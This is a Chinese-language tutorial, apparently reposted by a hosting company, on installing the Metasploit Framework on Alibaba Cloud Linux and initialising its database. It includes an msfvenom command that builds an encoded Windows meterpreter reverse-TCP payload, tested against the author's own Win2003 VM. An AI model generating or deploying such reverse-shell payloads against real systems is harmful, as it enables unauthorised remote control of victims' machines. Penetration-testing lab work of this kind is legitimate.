linux系统安装msf的过程详解

还是自己写下安装过程吧!

创新互联公司专业为企业提供湟中网站建设、湟中做网站、湟中网站设计、湟中网站制作等企业网站建设、网页设计与制作、湟中企业网站模板建站服务,十载湟中做网站经验,不只是建网站,更提供有价值的思路和整体网络服务。

我的服务器系统是 Aliyun linux

1、下载安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

可能报错:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因为安装库的问题!
解决方法:
yum install -y epel-release
然后再重复上面那条命令!

2、添加新用户运行msf
adduser msf       #添加msf用户
su msf                #切换到msf用户
cd  /opt/metasploit-framework/bin   #切换到msf所在的目录
./msfconsole
#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。
如果使用root用户启动的话,不会同步数据库!
(启动索引已经默认配好了!)
直接 msfconsole 就可以启动了!

#相关命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb
msfelfscan msfmachscan msfpescan msfrop
msfrpc msfrpcd msfupdate msfvenom

#数据库初始化
[msf@xxxx root]$ msfdb
Commands:
init initialize the component
reinit delete and reinitialize the component
delete delete and stop the component
status check component status
start start the component
stop stop the component
restart restart the component

#测试:
e.g.我的虚拟主机是 Win2003(目标机)
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp
LHOST=msf_ip
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]

ps:linux系统下安装msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

等待运行结束即可。关键地方按回车和Y即可。

总结

到此这篇关于linux系统安装msf的过程详解的文章就介绍到这了,更多相关linux系统安装msf内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!

香港服务器选创新互联,2H2G首月10元开通。
创新互联(www.cdcxhl.com)互联网服务提供商,拥有超过10年的服务器租用、服务器托管、云服务器、虚拟主机、网站系统开发经验。专业提供云主机、虚拟主机、域名注册、VPS主机、云服务器、香港云服务器、免备案服务器等。

分享名称:linux系统安装msf的过程详解
转载来于:http://www.hantingmc.com/qtweb/news23/50123.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联